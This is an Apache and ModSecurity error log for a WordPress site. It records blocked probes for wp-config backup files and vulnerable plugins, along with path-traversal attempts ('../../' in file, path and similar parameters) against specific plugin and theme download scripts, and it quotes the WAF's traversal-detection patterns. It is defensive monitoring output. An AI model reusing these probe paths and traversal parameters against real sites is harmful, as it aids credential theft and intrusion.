[Tue Mar 10 12:49:05.606741 2020] [:error] [pid 21868] [client 194.60.254.243:46615] [client 194.60.254.243] ModSecurity:  [file "/etc/httpd/conf/modsecurity.d/rules/tortix/modsec/50_plesk_basic_asl_rules.conf"] [line "2242"] [id "33340748"] [rev "2"] [msg "Protected by Atomicorp.com Basic Non-Realtime WAF Rules: Generic Path Recursion denied"] [severity "CRITICAL"] Access denied with code 403 (phase 2). Pattern match "(?:\\\\x5c|(?:%(?:c(?:0%(?:9v|af)|1%1c)|2(?:5(?:2f|5c)|f)|u221[56]|1u|5c)|\\\\/))(?:%(?:u2024|2e)|\\\\.){2}(?:\\\\x5c|(?:%(?:c(?:0%(?:9v|af)|1%1c)|2(?:5(?:2f|5c)|f)|u221[56]|1u|5c)|\\\\/))" at REQUEST_URI. [hostname "fincasandoval.com"] [uri "/wp-admin/admin-ajax.php"] [unique_id "Xmd@sYMK5Sf1i@M5EUSPvQAAABE"]
[Tue Mar 10 16:39:00.489297 2020] [authz_core:error] [pid 27024] [client 194.61.24.94:58682] AH01630: client denied by server configuration: /var/www/vhosts/fincasandoval.com/httpdocs/wp-config.php.bak
[Tue Mar 10 19:04:44.433902 2020] [proxy_fcgi:error] [pid 17056] [client 78.85.255.39:46388] AH01071: Got error 'Primary script unknown\n'
[Tue Mar 10 21:23:17.868353 2020] [authz_core:error] [pid 4368] [client 209.90.225.219:54722] AH01630: client denied by server configuration: /var/www/vhosts/fincasandoval.com/httpdocs/wp-content/plugins/wp-homepage-slideshow, referer: http://fincasandoval.com/wp-content/plugins/wp-homepage-slideshow/readme.txt
[Wed Mar 11 14:01:24.020561 2020] [authz_core:error] [pid 27947] [client 140.190.17.138:47904] AH01630: client denied by server configuration: /var/www/vhosts/fincasandoval.com/httpdocs/license.txt
[Wed Mar 11 15:32:19.246896 2020] [authz_core:error] [pid 10717] [client 194.61.24.94:54875] AH01630: client denied by server configuration: /var/www/vhosts/fincasandoval.com/httpdocs/wp-config.php.dist
[Wed Mar 11 17:23:52.082341 2020] [:error] [pid 30551] [client 46.165.230.5:26083] [client 46.165.230.5] ModSecurity:  [file "/etc/httpd/conf/modsecurity.d/rules/tortix/modsec/50_plesk_basic_asl_rules.conf"] [line "39"] [id "33340006"] [rev "68"] [msg "Protected by Atomicorp.com Basic Non-Realtime WAF Rules: Generic Path Recursion denied in URI/ARGS"] [data "../../,ARGS:file"] [severity "CRITICAL"] Access denied with code 403 (phase 2). Pattern match "\\\\.\\\\./\\\\.\\\\./" at ARGS:file. [hostname "fincasandoval.com"] [uri "/wp-content/plugins/wordfence/lib/wordfenceClass.php"] [unique_id "XmkQlwHH9j1alEaizm0JpQAAAAI"]
[Wed Mar 11 23:51:18.750901 2020] [authz_core:error] [pid 23183] [client 34.232.106.159:34264] AH01630: client denied by server configuration: /var/www/vhosts/fincasandoval.com/httpdocs/wordpress
[Thu Mar 12 06:11:48.520686 2020] [authz_core:error] [pid 17300] [client 209.90.225.220:58279] AH01630: client denied by server configuration: /var/www/vhosts/fincasandoval.com/httpdocs/wp-content/plugins/wp-formgenerator, referer: http://fincasandoval.com/wp-content/plugins/wp-formgenerator/changelog.txt
[Thu Mar 12 11:37:40.494726 2020] [authz_core:error] [pid 1142] [client 185.207.139.2:20521] AH01630: client denied by server configuration: /var/www/vhosts/fincasandoval.com/httpdocs/wp-config.php_hlt
[Thu Mar 12 11:37:42.917708 2020] [authz_core:error] [pid 951] [client 185.207.139.2:23985] AH01630: client denied by server configuration: /var/www/vhosts/fincasandoval.com/httpdocs/wp-config.php.tpl
[Thu Mar 12 11:37:44.567158 2020] [authz_core:error] [pid 1145] [client 185.207.139.2:26111] AH01630: client denied by server configuration: /var/www/vhosts/fincasandoval.com/httpdocs/wp-config.php.mlehr.bak
[Thu Mar 12 11:37:46.003675 2020] [authz_core:error] [pid 1143] [client 185.207.139.2:27769] AH01630: client denied by server configuration: /var/www/vhosts/fincasandoval.com/httpdocs/wp-config.php_old2
[Thu Mar 12 11:37:48.323953 2020] [authz_core:error] [pid 1142] [client 185.207.139.2:30187] AH01630: client denied by server configuration: /var/www/vhosts/fincasandoval.com/httpdocs/wp-config.php_OLD_BK
[Thu Mar 12 11:37:50.203202 2020] [authz_core:error] [pid 1143] [client 185.207.139.2:32441] AH01630: client denied by server configuration: /var/www/vhosts/fincasandoval.com/httpdocs/wp-config.php_antigo
[Thu Mar 12 11:37:52.130664 2020] [authz_core:error] [pid 1129] [client 185.207.139.2:34397] AH01630: client denied by server configuration: /var/www/vhosts/fincasandoval.com/httpdocs/.wp-config.php.swo
[Thu Mar 12 11:37:55.016458 2020] [authz_core:error] [pid 1241] [client 185.207.139.2:36849] AH01630: client denied by server configuration: /var/www/vhosts/fincasandoval.com/httpdocs/.wp-config.php.swp
[Thu Mar 12 11:37:57.234455 2020] [authz_core:error] [pid 1143] [client 185.207.139.2:40405] AH01630: client denied by server configuration: /var/www/vhosts/fincasandoval.com/httpdocs/wp-config.phpoldd
[Thu Mar 12 11:37:59.055380 2020] [authz_core:error] [pid 1252] [client 185.207.139.2:43483] AH01630: client denied by server configuration: /var/www/vhosts/fincasandoval.com/httpdocs/wp-config.php.old
[Thu Mar 12 13:34:36.688581 2020] [authz_core:error] [pid 19047] [client 51.38.68.232:41504] AH01630: client denied by server configuration: /var/www/vhosts/fincasandoval.com/httpdocs/wordpress, referer: http://fincasandoval.com/wordpress/license.txt
[Thu Mar 12 15:04:44.212890 2020] [proxy_fcgi:error] [pid 31386] (70007)The timeout specified has expired: [client 123.15.34.67:45521] AH01075: Error dispatching request to :, referer: http://fincasandoval.com/wp-login.php
[Thu Mar 12 15:33:29.163200 2020] [authz_core:error] [pid 3651] [client 194.61.24.94:55771] AH01630: client denied by server configuration: /var/www/vhosts/fincasandoval.com/httpdocs/wp-config.php.inc
[Thu Mar 12 19:15:46.915008 2020] [authz_core:error] [pid 5912] [client 109.70.100.27:33940] AH01630: client denied by server configuration: /var/www/vhosts/fincasandoval.com/httpdocs/wp-content/plugins/duplicator
[Thu Mar 12 21:01:46.620767 2020] [authz_core:error] [pid 20301] [client 178.128.56.89:50310] AH01630: client denied by server configuration: /var/www/vhosts/fincasandoval.com/httpdocs/old, referer: http://fincasandoval.com/old/license.txt
[Fri Mar 13 00:53:16.690548 2020] [authz_core:error] [pid 15877] [client 119.23.239.49:35454] AH01630: client denied by server configuration: /var/www/vhosts/fincasandoval.com/httpdocs/new, referer: http://fincasandoval.com/new/license.txt
[Fri Mar 13 02:02:48.205046 2020] [proxy_fcgi:error] [pid 20717] [client 162.243.126.96:36501] AH01071: Got error 'Primary script unknown\n', referer: fincasandoval.com
[Fri Mar 13 02:02:57.970562 2020] [proxy_fcgi:error] [pid 20717] [client 162.243.126.96:37117] AH01071: Got error 'Primary script unknown\n', referer: fincasandoval.com
[Fri Mar 13 02:18:26.810483 2020] [autoindex:error] [pid 25421] [client 35.222.216.91:59824] AH01276: Cannot serve directory /var/www/vhosts/fincasandoval.com/httpdocs/test/: No matching DirectoryIndex (index.html,index.cgi,index.pl,index.php,index.xhtml,index.htm,index.shtml) found, and server-generated directory index forbidden by Options directive
[Fri Mar 13 04:10:35.942683 2020] [proxy_fcgi:error] [pid 9257] [client 5.135.138.188:54214] AH01071: Got error 'Primary script unknown\n', referer: fincasandoval.com
[Fri Mar 13 14:58:35.010262 2020] [authz_core:error] [pid 14485] [client 194.61.24.94:56468] AH01630: client denied by server configuration: /var/www/vhosts/fincasandoval.com/httpdocs/wp-config.php.old
[Fri Mar 13 15:47:36.524154 2020] [:error] [pid 21756] [client 103.9.77.76:60546] [client 103.9.77.76] ModSecurity: Multipart parsing error (init): Multipart: Invalid boundary in C-T (characters). [hostname "fincasandoval.com"] [uri "/wp-admin/admin-ajax.php"] [unique_id "XmudCOzIEou8JscKE5DW8AAAAA8"]
[Fri Mar 13 21:16:08.262997 2020] [:error] [pid 2082] [client 178.33.235.141:38192] [client 178.33.235.141] ModSecurity: Multipart parsing error (init): Multipart: Invalid boundary in C-T (characters). [hostname "fincasandoval.com"] [uri "/wp-admin/admin-ajax.php"] [unique_id "XmvqCCxumuBumJK8otMZ@QAAAAQ"]
[Sat Mar 14 00:56:16.375298 2020] [authz_core:error] [pid 29060] [client 163.172.119.161:60650] AH01630: client denied by server configuration: /var/www/vhosts/fincasandoval.com/httpdocs/wp-content/plugins/downloads-manager
[Sat Mar 14 02:05:40.944229 2020] [authz_core:error] [pid 3153] [client 47.98.160.150:36928] AH01630: client denied by server configuration: /var/www/vhosts/fincasandoval.com/httpdocs/w, referer: http://fincasandoval.com/w/license.txt
[Sat Mar 14 04:49:17.585316 2020] [:error] [pid 8069] [client 51.83.2.148:53162] [client 51.83.2.148] ModSecurity: Multipart parsing error (init): Multipart: Invalid boundary in C-T (characters). [hostname "fincasandoval.com"] [uri "/wp-admin/admin-ajax.php"] [unique_id "XmxUPSnLp0aM@ISHtj1-@wAAAAg"]
[Sat Mar 14 11:31:21.049309 2020] [authz_core:error] [pid 6992] [client 118.190.205.129:34518] AH01630: client denied by server configuration: /var/www/vhosts/fincasandoval.com/httpdocs/2, referer: http://fincasandoval.com/2/license.txt
[Sat Mar 14 15:26:11.917953 2020] [authz_core:error] [pid 29006] [client 194.61.24.94:65210] AH01630: client denied by server configuration: /var/www/vhosts/fincasandoval.com/httpdocs/wp-config.php.save
[Sat Mar 14 17:19:09.134663 2020] [authz_core:error] [pid 9777] [client 118.69.77.232:45746] AH01630: client denied by server configuration: /var/www/vhosts/fincasandoval.com/httpdocs/tmp, referer: http://fincasandoval.com/tmp/license.txt
[Sat Mar 14 18:59:13.624189 2020] [authz_core:error] [pid 18480] [client 171.25.193.78:28508] AH01630: client denied by server configuration: /var/www/vhosts/fincasandoval.com/httpdocs/wp-content/plugins/profile-builder
[Sun Mar 15 02:14:14.002837 2020] [proxy_fcgi:error] [pid 27928] [client 193.106.30.131:46369] AH01071: Got error 'Primary script unknown\n'
[Sun Mar 15 02:14:14.024802 2020] [proxy_fcgi:error] [pid 28029] [client 193.106.30.131:41339] AH01071: Got error 'Primary script unknown\n'
[Sun Mar 15 15:05:07.804518 2020] [authz_core:error] [pid 15275] [client 194.61.24.94:59623] AH01630: client denied by server configuration: /var/www/vhosts/fincasandoval.com/httpdocs/wp-config.php.swp
[Sun Mar 15 17:03:41.008124 2020] [autoindex:error] [pid 28317] [client 212.92.105.137:51795] AH01276: Cannot serve directory /var/www/vhosts/fincasandoval.com/httpdocs/test/: No matching DirectoryIndex (index.html,index.cgi,index.pl,index.php,index.xhtml,index.htm,index.shtml) found, and server-generated directory index forbidden by Options directive
[Mon Mar 16 00:32:04.234327 2020] [core:error] [pid 6457] [client 207.180.212.182:49567] AH00126: Invalid URI in request GET fincasandoval.com HTTP/1.0
[Mon Mar 16 01:47:59.086394 2020] [ssl:error] [pid 14123] AH02032: Hostname www.fincasandoval.com provided via SNI and hostname fincasandoval.com provided via HTTP are different
[Mon Mar 16 01:47:59.097445 2020] [ssl:error] [pid 14123] AH02032: Hostname www.fincasandoval.com provided via SNI and hostname fincasandoval.com provided via HTTP are different
[Mon Mar 16 06:31:46.151513 2020] [authz_core:error] [pid 21373] [client 51.77.52.160:42686] AH01630: client denied by server configuration: /var/www/vhosts/fincasandoval.com/httpdocs/wp-content/plugins/flexible-checkout-fields
[Mon Mar 16 06:31:46.792527 2020] [authz_core:error] [pid 21375] [client 51.77.52.160:43146] AH01630: client denied by server configuration: /var/www/vhosts/fincasandoval.com/httpdocs/wp-content/plugins/pricing-table-by-supsystic
[Mon Mar 16 13:53:51.568391 2020] [authz_core:error] [pid 17183] [client 194.61.24.94:51476] AH01630: client denied by server configuration: /var/www/vhosts/fincasandoval.com/httpdocs/wp-config.php.txt
[Mon Mar 16 16:37:03.761618 2020] [proxy_fcgi:error] [pid 9746] [client 78.85.243.78:59674] AH01071: Got error 'Primary script unknown\n'
[Mon Mar 16 16:37:04.577212 2020] [proxy_fcgi:error] [pid 9361] [client 78.85.243.78:60182] AH01071: Got error 'Primary script unknown\n'
[Mon Mar 16 20:19:31.051197 2020] [proxy_fcgi:error] [pid 13578] [client 177.75.21.191:54834] AH01071: Got error 'PHP message: PHP Fatal error:  Uncaught Error: Call to undefined function get_header() in /var/www/vhosts/fincasandoval.com/httpdocs/wp-content/themes/twentynineteen/404.php:12\nStack trace:\n#0 {main}\n  thrown in /var/www/vhosts/fincasandoval.com/httpdocs/wp-content/themes/twentynineteen/404.php on line 12\n'
[Tue Mar 17 02:49:00.032888 2020] [proxy_fcgi:error] [pid 27694] [client 177.75.21.191:61472] AH01071: Got error 'PHP message: PHP Fatal error:  Uncaught Error: Call to undefined function get_header() in /var/www/vhosts/fincasandoval.com/httpdocs/wp-content/themes/twentyseventeen/404.php:13\nStack trace:\n#0 {main}\n  thrown in /var/www/vhosts/fincasandoval.com/httpdocs/wp-content/themes/twentyseventeen/404.php on line 13\n'
[Tue Mar 17 02:49:00.185959 2020] [proxy_fcgi:error] [pid 27692] [client 177.75.21.191:61474] AH01071: Got error 'PHP message: PHP Fatal error:  Uncaught Error: Call to undefined function get_header() in /var/www/vhosts/fincasandoval.com/httpdocs/wp-content/themes/twentysixteen/404.php:10\nStack trace:\n#0 {main}\n  thrown in /var/www/vhosts/fincasandoval.com/httpdocs/wp-content/themes/twentysixteen/404.php on line 10\n'
[Tue Mar 17 15:34:35.353062 2020] [proxy_fcgi:error] [pid 6671] [client 193.106.30.99:37744] AH01071: Got error 'Primary script unknown\n'
[Tue Mar 17 20:04:32.035012 2020] [authz_core:error] [pid 14200] [client 78.85.198.150:56556] AH01630: client denied by server configuration: /var/www/vhosts/fincasandoval.com/httpdocs/wp-content/plugins/duplicator
[Thu Mar 19 06:28:40.158216 2020] [proxy_fcgi:error] [pid 25818] [client 193.218.118.131:38397] AH01071: Got error 'Primary script unknown\n'
[Thu Mar 19 06:28:44.843811 2020] [proxy_fcgi:error] [pid 25785] [client 193.218.118.131:39108] AH01071: Got error 'Primary script unknown\n'
[Thu Mar 19 06:28:50.886720 2020] [proxy_fcgi:error] [pid 25818] [client 193.218.118.131:39860] AH01071: Got error 'Primary script unknown\n'
[Thu Mar 19 06:28:54.929903 2020] [proxy_fcgi:error] [pid 25789] [client 193.218.118.131:40378] AH01071: Got error 'Primary script unknown\n'
[Thu Mar 19 06:28:58.848364 2020] [proxy_fcgi:error] [pid 22965] [client 193.218.118.131:40880] AH01071: Got error 'Primary script unknown\n'
[Thu Mar 19 06:29:02.862610 2020] [proxy_fcgi:error] [pid 25785] [client 193.218.118.131:41394] AH01071: Got error 'Primary script unknown\n'
[Thu Mar 19 06:29:06.913460 2020] [proxy_fcgi:error] [pid 25581] [client 193.218.118.131:41888] AH01071: Got error 'Primary script unknown\n'
[Thu Mar 19 06:29:14.858014 2020] [proxy_fcgi:error] [pid 25818] [client 193.218.118.131:43029] AH01071: Got error 'Primary script unknown\n'
[Thu Mar 19 06:29:18.856830 2020] [proxy_fcgi:error] [pid 23260] [client 193.218.118.131:43539] AH01071: Got error 'Primary script unknown\n'
[Thu Mar 19 06:29:22.862143 2020] [proxy_fcgi:error] [pid 23288] [client 193.218.118.131:44043] AH01071: Got error 'Primary script unknown\n'
[Thu Mar 19 14:14:07.833426 2020] [proxy_fcgi:error] [pid 16018] [client 193.106.30.99:52586] AH01071: Got error 'Primary script unknown\n'
[Thu Mar 19 15:41:23.112192 2020] [proxy_fcgi:error] [pid 28232] [client 177.75.21.191:52368] AH01071: Got error 'PHP message: PHP Fatal error:  Uncaught Error: Call to undefined function get_header() in /var/www/vhosts/fincasandoval.com/httpdocs/wp-content/themes/twentynineteen/404.php:12\nStack trace:\n#0 {main}\n  thrown in /var/www/vhosts/fincasandoval.com/httpdocs/wp-content/themes/twentynineteen/404.php on line 12\n'
[Thu Mar 19 20:30:59.820911 2020] [:error] [pid 2170] [client 178.213.186.51:61392] [client 178.213.186.51] ModSecurity:  [file "/etc/httpd/conf/modsecurity.d/rules/tortix/modsec/50_plesk_basic_asl_rules.conf"] [line "39"] [id "33340006"] [rev "68"] [msg "Protected by Atomicorp.com Basic Non-Realtime WAF Rules: Generic Path Recursion denied in URI/ARGS"] [data "../../,ARGS:path"] [severity "CRITICAL"] Access denied with code 403 (phase 2). Pattern match "\\\\.\\\\./\\\\.\\\\./" at ARGS:path. [hostname "fincasandoval.com"] [uri "/wp-content/themes/book-lite/down.php"] [unique_id "XnPIcwiZ@abrz4LR3ggmAQAAABE"]
[Thu Mar 19 20:31:00.476694 2020] [:error] [pid 2170] [client 178.213.186.51:61392] [client 178.213.186.51] ModSecurity:  [file "/etc/httpd/conf/modsecurity.d/rules/tortix/modsec/50_plesk_basic_asl_rules.conf"] [line "39"] [id "33340006"] [rev "68"] [msg "Protected by Atomicorp.com Basic Non-Realtime WAF Rules: Generic Path Recursion denied in URI/ARGS"] [data "../../,ARGS:file"] [severity "CRITICAL"] Access denied with code 403 (phase 2). Pattern match "\\\\.\\\\./\\\\.\\\\./" at ARGS:file. [hostname "fincasandoval.com"] [uri "/wp-content/themes/book-lite/download.php"] [unique_id "XnPIdAiZ@abrz4LR3ggmAgAAABE"]
[Thu Mar 19 20:31:00.552105 2020] [:error] [pid 2170] [client 178.213.186.51:61392] [client 178.213.186.51] ModSecurity:  [file "/etc/httpd/conf/modsecurity.d/rules/tortix/modsec/50_plesk_basic_asl_rules.conf"] [line "39"] [id "33340006"] [rev "68"] [msg "Protected by Atomicorp.com Basic Non-Realtime WAF Rules: Generic Path Recursion denied in URI/ARGS"] [data "../../,ARGS:file"] [severity "CRITICAL"] Access denied with code 403 (phase 2). Pattern match "\\\\.\\\\./\\\\.\\\\./" at ARGS:file. [hostname "fincasandoval.com"] [uri "/wp-content/themes/book-lite/download/download.php"] [unique_id "XnPIdAiZ@abrz4LR3ggmAwAAABE"]
[Thu Mar 19 20:31:00.624795 2020] [:error] [pid 2170] [client 178.213.186.51:61392] [client 178.213.186.51] ModSecurity:  [file "/etc/httpd/conf/modsecurity.d/rules/tortix/modsec/50_plesk_basic_asl_rules.conf"] [line "39"] [id "33340006"] [rev "68"] [msg "Protected by Atomicorp.com Basic Non-Realtime WAF Rules: Generic Path Recursion denied in URI/ARGS"] [data "../../,ARGS:file"] [severity "CRITICAL"] Access denied with code 403 (phase 2). Pattern match "\\\\.\\\\./\\\\.\\\\./" at ARGS:file. [hostname "fincasandoval.com"] [uri "/wp-content/themes/book-lite/inc/download.php"] [unique_id "XnPIdAiZ@abrz4LR3ggmBAAAABE"]
[Thu Mar 19 20:31:00.687974 2020] [:error] [pid 2170] [client 178.213.186.51:61392] [client 178.213.186.51] ModSecurity:  [file "/etc/httpd/conf/modsecurity.d/rules/tortix/modsec/50_plesk_basic_asl_rules.conf"] [line "39"] [id "33340006"] [rev "68"] [msg "Protected by Atomicorp.com Basic Non-Realtime WAF Rules: Generic Path Recursion denied in URI/ARGS"] [data "../../,ARGS:file"] [severity "CRITICAL"] Access denied with code 403 (phase 2). Pattern match "\\\\.\\\\./\\\\.\\\\./" at ARGS:file. [hostname "fincasandoval.com"] [uri "/wp-content/themes/book-lite/includes/view-pdf.php"] [unique_id "XnPIdAiZ@abrz4LR3ggmBQAAABE"]
[Thu Mar 19 20:31:00.803285 2020] [:error] [pid 2170] [client 178.213.186.51:61392] [client 178.213.186.51] ModSecurity:  [file "/etc/httpd/conf/modsecurity.d/rules/tortix/modsec/50_plesk_basic_asl_rules.conf"] [line "39"] [id "33340006"] [rev "68"] [msg "Protected by Atomicorp.com Basic Non-Realtime WAF Rules: Generic Path Recursion denied in URI/ARGS"] [data "../../,ARGS:file"] [severity "CRITICAL"] Access denied with code 403 (phase 2). Pattern match "\\\\.\\\\./\\\\.\\\\./" at ARGS:file. [hostname "fincasandoval.com"] [uri "/wp-content/themes/book-lite/lib/scripts/download.php"] [unique_id "XnPIdAiZ@abrz4LR3ggmBgAAABE"]
[Thu Mar 19 20:31:00.886610 2020] [:error] [pid 2170] [client 178.213.186.51:61392] [client 178.213.186.51] ModSecurity:  [file "/etc/httpd/conf/modsecurity.d/rules/tortix/modsec/50_plesk_basic_asl_rules.conf"] [line "39"] [id "33340006"] [rev "68"] [msg "Protected by Atomicorp.com Basic Non-Realtime WAF Rules: Generic Path Recursion denied in URI/ARGS"] [data "../../,ARGS:file"] [severity "CRITICAL"] Access denied with code 403 (phase 2). Pattern match "\\\\.\\\\./\\\\.\\\\./" at ARGS:file. [hostname "fincasandoval.com"] [uri "/wp-content/themes/book-lite/includes/download.php"] [unique_id "XnPIdAiZ@abrz4LR3ggmBwAAABE"]
[Thu Mar 19 20:31:00.947526 2020] [:error] [pid 2170] [client 178.213.186.51:61392] [client 178.213.186.51] ModSecurity:  [file "/etc/httpd/conf/modsecurity.d/rules/tortix/modsec/50_plesk_basic_asl_rules.conf"] [line "39"] [id "33340006"] [rev "68"] [msg "Protected by Atomicorp.com Basic Non-Realtime WAF Rules: Generic Path Recursion denied in URI/ARGS"] [data "../../,ARGS:file"] [severity "CRITICAL"] Access denied with code 403 (phase 2). Pattern match "\\\\.\\\\./\\\\.\\\\./" at ARGS:file. [hostname "fincasandoval.com"] [uri "/wp-content/themes/book-lite/lib/downloadlink.php"] [unique_id "XnPIdAiZ@abrz4LR3ggmCAAAABE"]
[Thu Mar 19 20:31:01.022972 2020] [:error] [pid 2170] [client 178.213.186.51:61392] [client 178.213.186.51] ModSecurity:  [file "/etc/httpd/conf/modsecurity.d/rules/tortix/modsec/50_plesk_basic_asl_rules.conf"] [line "39"] [id "33340006"] [rev "68"] [msg "Protected by Atomicorp.com Basic Non-Realtime WAF Rules: Generic Path Recursion denied in URI/ARGS"] [data "../../,ARGS:imgurl"] [severity "CRITICAL"] Access denied with code 403 (phase 2). Pattern match "\\\\.\\\\./\\\\.\\\\./" at ARGS:imgurl. [hostname "fincasandoval.com"] [uri "/wp-content/themes/book-lite/functions/download.php"] [unique_id "XnPIdQiZ@abrz4LR3ggmCQAAABE"]
[Thu Mar 19 20:31:01.122703 2020] [:error] [pid 2170] [client 178.213.186.51:61392] [client 178.213.186.51] ModSecurity:  [file "/etc/httpd/conf/modsecurity.d/rules/tortix/modsec/50_plesk_basic_asl_rules.conf"] [line "39"] [id "33340006"] [rev "68"] [msg "Protected by Atomicorp.com Basic Non-Realtime WAF Rules: Generic Path Recursion denied in URI/ARGS"] [data "../../,ARGS:download"] [severity "CRITICAL"] Access denied with code 403 (phase 2). Pattern match "\\\\.\\\\./\\\\.\\\\./" at ARGS:download. [hostname "fincasandoval.com"] [uri "/wp-content/themes/book-lite/download.php"] [unique_id "XnPIdQiZ@abrz4LR3ggmCgAAABE"]
[Thu Mar 19 20:41:14.850340 2020] [:error] [pid 3454] [client 178.213.186.51:64687] [client 178.213.186.51] ModSecurity:  [file "/etc/httpd/conf/modsecurity.d/rules/tortix/modsec/50_plesk_basic_asl_rules.conf"] [line "39"] [id "33340006"] [rev "68"] [msg "Protected by Atomicorp.com Basic Non-Realtime WAF Rules: Generic Path Recursion denied in URI/ARGS"] [data "../../,ARGS:file"] [severity "CRITICAL"] Access denied with code 403 (phase 2). Pattern match "\\\\.\\\\./\\\\.\\\\./" at ARGS:file. [hostname "fincasandoval.com"] [uri "/wp-content/plugins/aspose-cloud-ebook-generator/aspose_posts_exporter_download.php"] [unique_id "XnPK2i8ljdKjDaia3sz4fwAAABI"]
[Thu Mar 19 20:41:14.917192 2020] [:error] [pid 3454] [client 178.213.186.51:64687] [client 178.213.186.51] ModSecurity:  [file "/etc/httpd/conf/modsecurity.d/rules/tortix/modsec/50_plesk_basic_asl_rules.conf"] [line "39"] [id "33340006"] [rev "68"] [msg "Protected by Atomicorp.com Basic Non-Realtime WAF Rules: Generic Path Recursion denied in URI/ARGS"] [data "../../,ARGS:file"] [severity "CRITICAL"] Access denied with code 403 (phase 2). Pattern match "\\\\.\\\\./\\\\.\\\\./" at ARGS:file. [hostname "fincasandoval.com"] [uri "/wp-content/plugins/aspose-doc-exporter/aspose_doc_exporter_download.php"] [unique_id "XnPK2i8ljdKjDaia3sz4gAAAABI"]
[Thu Mar 19 20:41:15.091232 2020] [:error] [pid 3454] [client 178.213.186.51:64687] [client 178.213.186.51] ModSecurity:  [file "/etc/httpd/conf/modsecurity.d/rules/tortix/modsec/50_plesk_basic_asl_rules.conf"] [line "39"] [id "33340006"] [rev "68"] [msg "Protected by Atomicorp.com Basic Non-Realtime WAF Rules: Generic Path Recursion denied in URI/ARGS"] [data "../../,ARGS:file"] [severity "CRITICAL"] Access denied with code 403 (phase 2). Pattern match "\\\\.\\\\./\\\\.\\\\./" at ARGS:file. [hostname "fincasandoval.com"] [uri "/wp-content/plugins/bookx/includes/bookx_export.php"] [unique_id "XnPK2y8ljdKjDaia3sz4gQAAABI"]
[Thu Mar 19 20:41:15.170305 2020] [:error] [pid 3454] [client 178.213.186.51:64687] [client 178.213.186.51] ModSecurity:  [file "/etc/httpd/conf/modsecurity.d/rules/tortix/modsec/50_plesk_basic_asl_rules.conf"] [line "39"] [id "33340006"] [rev "68"] [msg "Protected by Atomicorp.com Basic Non-Realtime WAF Rules: Generic Path Recursion denied in URI/ARGS"] [data "../../,ARGS:wp_abspath"] [severity "CRITICAL"] Access denied with code 403 (phase 2). Pattern match "\\\\.\\\\./\\\\.\\\\./" at ARGS:wp_abspath. [hostname "fincasandoval.com"] [uri "/wp-content/plugins/brandfolder/callback.php"] [unique_id "XnPK2y8ljdKjDaia3sz4ggAAABI"]
[Thu Mar 19 20:41:15.316111 2020] [:error] [pid 3454] [client 178.213.186.51:64687] [client 178.213.186.51] ModSecurity:  [file "/etc/httpd/conf/modsecurity.d/rules/tortix/modsec/50_plesk_basic_asl_rules.conf"] [line "39"] [id "33340006"] [rev "68"] [msg "Protected by Atomicorp.com Basic Non-Realtime WAF Rules: Generic Path Recursion denied in URI/ARGS"] [data "../../,ARGS:fileName"] [severity "CRITICAL"] Access denied with code 403 (phase 2). Pattern match "\\\\.\\\\./\\\\.\\\\./" at ARGS:fileName. [hostname "fincasandoval.com"] [uri "/wp-content/plugins/candidate-application-form/downloadpdffile.php"] [unique_id "XnPK2y8ljdKjDaia3sz4gwAAABI"]
[Thu Mar 19 20:41:15.381152 2020] [:error] [pid 3454] [client 178.213.186.51:64687] [client 178.213.186.51] ModSecurity:  [file "/etc/httpd/conf/modsecurity.d/rules/tortix/modsec/50_plesk_basic_asl_rules.conf"] [line "39"] [id "33340006"] [rev "68"] [msg "Protected by Atomicorp.com Basic Non-Realtime WAF Rules: Generic Path Recursion denied in URI/ARGS"] [data "../../,ARGS:file"] [severity "CRITICAL"] Access denied with code 403 (phase 2). Pattern match "\\\\.\\\\./\\\\.\\\\./" at ARGS:file. [hostname "fincasandoval.com"] [uri "/wp-content/plugins/cloudsafe365-for-wp/admin/editor/cs365_edit.php"] [unique_id "XnPK2y8ljdKjDaia3sz4hAAAABI"]
[Thu Mar 19 20:51:24.831744 2020] [:error] [pid 3454] [client 178.213.186.51:50291] [client 178.213.186.51] ModSecurity:  [file "/etc/httpd/conf/modsecurity.d/rules/tortix/modsec/50_plesk_basic_asl_rules.conf"] [line "39"] [id "33340006"] [rev "68"] [msg "Protected by Atomicorp.com Basic Non-Realtime WAF Rules: Generic Path Recursion denied in URI/ARGS"] [data "../../,ARGS:book_id"] [severity "CRITICAL"] Access denied with code 403 (phase 2). Pattern match "\\\\.\\\\./\\\\.\\\\./" at ARGS:book_id. [hostname "fincasandoval.com"] [uri "/wp-content/plugins/page-flip-image-gallery/books/getConfig.php"] [unique_id "XnPNPC8ljdKjDaia3sz5DwAAABI"]
[Thu Mar 19 20:51:25.063679 2020] [:error] [pid 3454] [client 178.213.186.51:50291] [client 178.213.186.51] ModSecurity:  [file "/etc/httpd/conf/modsecurity.d/rules/tortix/modsec/50_plesk_basic_asl_rules.conf"] [line "39"] [id "33340006"] [rev "68"] [msg "Protected by Atomicorp.com Basic Non-Realtime WAF Rules: Generic Path Recursion denied in URI/ARGS"] [data "../../,ARGS:id"] [severity "CRITICAL"] Access denied with code 403 (phase 2). Pattern match "\\\\.\\\\./\\\\.\\\\./" at ARGS:id. [hostname "fincasandoval.com"] [uri "/wp-content/plugins/photocart-link/decode.php"] [unique_id "XnPNPS8ljdKjDaia3sz5EAAAABI"]
[Thu Mar 19 20:51:26.033590 2020] [:error] [pid 3454] [client 178.213.186.51:50291] [client 178.213.186.51] ModSecurity:  [file "/etc/httpd/conf/modsecurity.d/rules/tortix/modsec/50_plesk_basic_asl_rules.conf"] [line "39"] [id "33340006"] [rev "68"] [msg "Protected by Atomicorp.com Basic Non-Realtime WAF Rules: Generic Path Recursion denied in URI/ARGS"] [data "../../,ARGS:imgname"] [severity "CRITICAL"] Access denied with code 403 (phase 2). Pattern match "\\\\.\\\\./\\\\.\\\\./" at ARGS:imgname. [hostname "fincasandoval.com"] [uri "/wp-content/plugins/pica-photo-gallery/picadownload.php"] [unique_id "XnPNPi8ljdKjDaia3sz5EQAAABI"]
[Thu Mar 19 21:01:28.268245 2020] [:error] [pid 5454] [client 178.213.186.51:64367] [client 178.213.186.51] ModSecurity:  [file "/etc/httpd/conf/modsecurity.d/rules/tortix/modsec/50_plesk_basic_asl_rules.conf"] [line "39"] [id "33340006"] [rev "68"] [msg "Protected by Atomicorp.com Basic Non-Realtime WAF Rules: Generic Path Recursion denied in URI/ARGS"] [data "../../,ARGS:filename"] [severity "CRITICAL"] Access denied with code 403 (phase 2). Pattern match "\\\\.\\\\./\\\\.\\\\./" at ARGS:filename. [hostname "fincasandoval.com"] [uri "/wp-content/plugins/wp-ecommerce-shop-styling/includes/download.php"] [unique_id "XnPPmFLFIKHLubCzZaD8wQAAABQ"]
